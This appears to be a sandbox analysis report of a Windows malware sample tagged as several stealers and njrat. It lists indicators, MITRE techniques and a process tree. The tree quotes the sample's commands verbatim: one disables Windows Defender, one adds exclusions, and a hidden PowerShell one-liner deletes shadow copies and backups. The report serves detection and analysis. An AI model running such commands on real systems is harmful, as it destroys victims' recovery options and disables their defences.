4729e541dcf55f97187767ee1a4b60f82bc5c8b71a87be773f64314f448a2943

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BerserkGuard.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DependOnService = 520070006300530073002d00440049005300410042004c004500440000000000	BerserkGuard.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1156	powershell.exe
5692	powershell.exe
5568	powershell.exe
2836	powershell.exe
5736	powershell.exe
4760	powershell.exe
5844	powershell.exe
1156	powershell.exe
5736	powershell.exe
4536	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4808	wbadmin.exe
3100	wbadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
17	4740	nvidia_d64.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\GameDriverX64.sys	BerserkGuard.exe

Executes dropped EXE 17 IoCs

pid	Process
1144	UnRAR.exe
1004	BerserkGuard.exe
4648	BerserkGuard.exe
5600	BerserkGuard.exe
4472	BerserkGuard.exe
5780	GameDriverX64.sys
2860	scvhost.exe
1520	nvidia_dr64.exe
1208	FACEITInstaller_64.exe
3688	FACEITInstaller_64.tmp
668	nvidia_d64.exe
4740	nvidia_d64.exe
2156	BerserkGuard.exe
5932	BerserkGuard.exe
4368	BerserkGuard.exe
5432	BerserkGuard.exe
1724	BerserkGuard.exe

Loads dropped DLL 40 IoCs

pid	Process
4648	BerserkGuard.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
2156	BerserkGuard.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
5932	BerserkGuard.exe
1724	BerserkGuard.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}.cip	powershell.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

discovery

Process Discovery

T1057

pid	Process
2332	tasklist.exe
4664	tasklist.exe
5416	tasklist.exe
4596	tasklist.exe
1648	tasklist.exe
984	tasklist.exe
6116	tasklist.exe
1944	tasklist.exe
2916	tasklist.exe
2004	tasklist.exe
5928	tasklist.exe
1852	tasklist.exe
3456	tasklist.exe
3008	tasklist.exe
5300	tasklist.exe
2868	tasklist.exe
4972	tasklist.exe
1256	tasklist.exe
4608	tasklist.exe
5516	tasklist.exe
4516	tasklist.exe
1724	tasklist.exe
1964	tasklist.exe
1496	tasklist.exe
1268	tasklist.exe
2856	tasklist.exe
1524	tasklist.exe
3520	tasklist.exe
4812	tasklist.exe
5352	tasklist.exe
3228	tasklist.exe
4916	tasklist.exe
4456	tasklist.exe
5300	tasklist.exe
2316	tasklist.exe
2020	tasklist.exe
1488	tasklist.exe
4336	tasklist.exe
2908	tasklist.exe
5684	tasklist.exe
3560	tasklist.exe
4280	tasklist.exe
556	tasklist.exe
2888	tasklist.exe
3148	tasklist.exe
1576	tasklist.exe
4256	tasklist.exe
4624	tasklist.exe
4808	tasklist.exe
1828	tasklist.exe
5276	tasklist.exe
1496	tasklist.exe
5532	tasklist.exe
1196	tasklist.exe
4768	tasklist.exe
2716	tasklist.exe
2508	tasklist.exe
316	tasklist.exe
3136	tasklist.exe
1268	tasklist.exe
4280	tasklist.exe
4816	tasklist.exe
2452	tasklist.exe
1924	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2504	WScript.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1408	sc.exe
5072	sc.exe
3788	sc.exe
1868	sc.exe
1080	sc.exe
2812	sc.exe
1656	sc.exe
3560	sc.exe
3568	sc.exe
4272	sc.exe
5236	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000d00000001c3f8-128.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1652	cmd.exe
4804	cmd.exe
2240	cmd.exe
5436	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F2856C6B5C93EB83FFCDFD865F3E1E839EB774AF\Blob = 030000000100000014000000f2856c6b5c93eb83ffcdfd865f3e1e839eb774af0b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da003020102021437493c47e07bfc3f5bbe2bcbfff17f14f8374c9d300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303732313036343433355a170d3336303732303036343433355a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100b9af1ec977bf06669816af21b1bea39dfcd6601030c979a269b7fdc80246422d6d57eb27c34739317db512812ca219d7c6fed762686c3d66923550dd3a312eba1a7d2a751175fc69195760e7358d554ac71998372a9b70d26e220c99437802548cce8c94cf2bfa784576bf6a48d96b1c5f823487d9177177d0116141c0cc8bd67a499abb55ddf64264ddfe6847a7fd80e15471c9236abfd90a055c5fbf3ede7e5e51dbbe042fc96c4793b9044035a14d95510f53d26bf24b56ac29dfef412a6d70eee3450b9b97f16bff5fee20f0918b38e4a5e38ea5397565fe3d9df2a6402baadfc8e98c52b4032c3d1236b7bf10a6145e7fa884d0c24da65560f33e79bcb10203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e04160414c66fc6f232cda2a175fd615e095d84248c543557300d06092a864886f70d01010b050003820101009db2840779fbd60cbe32e751da1ec2275c2128f9c84d35ce7f388948a41a8be781c862653b3238aa32655e4288f6344c16f48cb6ab6a9ad8452d3f874bcff2c147f19e203bf9606eafac8910c4b75db18905d7f22363d0e7fefc483abe96d893336e87ea4574000399ed225854099440607c688a30aff269335d99c2858c7f52c329e899a207514fc209775704d90b85878df32422f2e3599510d1a97b7910e67e648384f6e761e392168147a013427c0b58115696af0dd3973bb58fe88a68be431258accc0bdd17e7877b11066319a2a6f619aa0c5142e2305f3ee41d5b153d4524164c5f75fdfec70c326511f90df444cb38e7c99813d3291284146ddc54c2	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/1208-279-0x0000000000A00000-0x0000000000B24000-memory.dmp	innosetup
behavioral2/memory/1208-580-0x0000000000A00000-0x0000000000B24000-memory.dmp	innosetup

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
692	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion spyware trojan

pid	Process
4128	taskkill.exe
5072	taskkill.exe
4532	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{B15F1044-D42A-4763-9BBC-11D62E21BA40}	scvhost.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F2856C6B5C93EB83FFCDFD865F3E1E839EB774AF	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
4536	powershell.exe
1156	powershell.exe
1156	powershell.exe
5692	powershell.exe
5692	powershell.exe
5692	powershell.exe
5568	powershell.exe
5568	powershell.exe
5568	powershell.exe
1156	powershell.exe
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
2156	BerserkGuard.exe
2156	BerserkGuard.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
5736	powershell.exe
5736	powershell.exe
5736	powershell.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
2860	scvhost.exe
4740	nvidia_d64.exe
4740	nvidia_d64.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe
Token: 36	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe
Token: 36	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe
Token: SeIncBasePriorityPrivilege	4536	powershell.exe
Token: SeCreatePagefilePrivilege	4536	powershell.exe
Token: SeBackupPrivilege	4536	powershell.exe
Token: SeRestorePrivilege	4536	powershell.exe
Token: SeShutdownPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeSystemEnvironmentPrivilege	4536	powershell.exe
Token: SeRemoteShutdownPrivilege	4536	powershell.exe
Token: SeUndockPrivilege	4536	powershell.exe
Token: SeManageVolumePrivilege	4536	powershell.exe
Token: 33	4536	powershell.exe
Token: 34	4536	powershell.exe
Token: 35	4536	powershell.exe
Token: 36	4536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 2504	4784	2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 2504 wrote to memory of 4536	2504	WScript.exe	90
PID 4536 wrote to memory of 1144	4536	powershell.exe	93
PID 4536 wrote to memory of 1004	4536	powershell.exe	94
PID 1004 wrote to memory of 1656	1004	BerserkGuard.exe	95
PID 1004 wrote to memory of 3560	1004	BerserkGuard.exe	97
PID 1004 wrote to memory of 1408	1004	BerserkGuard.exe	158
PID 4648 wrote to memory of 5072	4648	BerserkGuard.exe	163
PID 5600 wrote to memory of 3788	5600	BerserkGuard.exe	113
PID 4472 wrote to memory of 3568	4472	BerserkGuard.exe	116
PID 4536 wrote to memory of 2860	4536	powershell.exe	118
PID 2860 wrote to memory of 1156	2860	scvhost.exe	120
PID 4536 wrote to memory of 1520	4536	powershell.exe	119
PID 1520 wrote to memory of 5692	1520	nvidia_dr64.exe	122
PID 4536 wrote to memory of 1208	4536	powershell.exe	127
PID 1208 wrote to memory of 3688	1208	FACEITInstaller_64.exe	129
PID 1520 wrote to memory of 5568	1520	nvidia_dr64.exe	130
PID 1520 wrote to memory of 668	1520	nvidia_dr64.exe	132
PID 2860 wrote to memory of 2836	2860	scvhost.exe	134
PID 668 wrote to memory of 4740	668	nvidia_d64.exe	136
PID 2836 wrote to memory of 1652	2836	powershell.exe	139
PID 1652 wrote to memory of 300	1652	cmd.exe	141
PID 2156 wrote to memory of 1868	2156	BerserkGuard.exe	146
PID 2836 wrote to memory of 4804	2836	powershell.exe	148
PID 4804 wrote to memory of 4808	4804	cmd.exe	211
PID 2836 wrote to memory of 2240	2836	powershell.exe	151
PID 2240 wrote to memory of 3100	2240	cmd.exe	153
PID 2836 wrote to memory of 5436	2836	powershell.exe	155
PID 5436 wrote to memory of 692	5436	cmd.exe	157
PID 4740 wrote to memory of 4128	4740	nvidia_d64.exe	160
PID 2860 wrote to memory of 5736	2860	scvhost.exe	162
PID 4740 wrote to memory of 5072	4740	nvidia_d64.exe	163
PID 4740 wrote to memory of 4532	4740	nvidia_d64.exe	166
PID 4740 wrote to memory of 5928	4740	nvidia_d64.exe	213
PID 4740 wrote to memory of 1788	4740	nvidia_d64.exe	170
PID 4740 wrote to memory of 4316	4740	nvidia_d64.exe	172
PID 2860 wrote to memory of 4760	2860	scvhost.exe	174
PID 4740 wrote to memory of 2340	4740	nvidia_d64.exe	176
PID 4740 wrote to memory of 5520	4740	nvidia_d64.exe	227
PID 4740 wrote to memory of 1496	4740	nvidia_d64.exe	255
PID 4740 wrote to memory of 984	4740	nvidia_d64.exe	182
PID 4740 wrote to memory of 4808	4740	nvidia_d64.exe	211
PID 4740 wrote to memory of 4308	4740	nvidia_d64.exe	186
PID 4740 wrote to memory of 2596	4740	nvidia_d64.exe	188
PID 4740 wrote to memory of 3560	4740	nvidia_d64.exe	190
PID 4740 wrote to memory of 1524	4740	nvidia_d64.exe	192
PID 4740 wrote to memory of 5672	4740	nvidia_d64.exe	194
PID 4740 wrote to memory of 3192	4740	nvidia_d64.exe	196
PID 4740 wrote to memory of 328	4740	nvidia_d64.exe	198
PID 4740 wrote to memory of 2868	4740	nvidia_d64.exe	275
PID 4740 wrote to memory of 1268	4740	nvidia_d64.exe	280
PID 4740 wrote to memory of 4860	4740	nvidia_d64.exe	235
PID 4740 wrote to memory of 4280	4740	nvidia_d64.exe	208
PID 4740 wrote to memory of 3624	4740	nvidia_d64.exe	210
PID 4740 wrote to memory of 4768	4740	nvidia_d64.exe	241
PID 4740 wrote to memory of 3424	4740	nvidia_d64.exe	214
PID 4740 wrote to memory of 4416	4740	nvidia_d64.exe	216
PID 4740 wrote to memory of 4816	4740	nvidia_d64.exe	218
PID 4740 wrote to memory of 1996	4740	nvidia_d64.exe	220
PID 4740 wrote to memory of 2068	4740	nvidia_d64.exe	222
PID 4740 wrote to memory of 388	4740	nvidia_d64.exe	224
PID 4740 wrote to memory of 2392	4740	nvidia_d64.exe	226
PID 4740 wrote to memory of 2888	4740	nvidia_d64.exe	228
PID 4740 wrote to memory of 5684	4740	nvidia_d64.exe	301

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-23_dc6570683aa399e7734eb7fe79afcf8f_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
      4⤵
      Executes dropped EXE
      PID:1144
  - - C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
      "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies security service
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1004
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" qfailure BerserkGuard
        5⤵
        Launches sc.exe
        
        PID:1656
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure BerserkGuard reset= 86400 actions= restart/5000/restart/15000/restart/60000
        5⤵
        Launches sc.exe
        
        PID:3560
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag BerserkGuard 1
        5⤵
        Launches sc.exe
        
        PID:1408
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2860
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2836
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1652
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
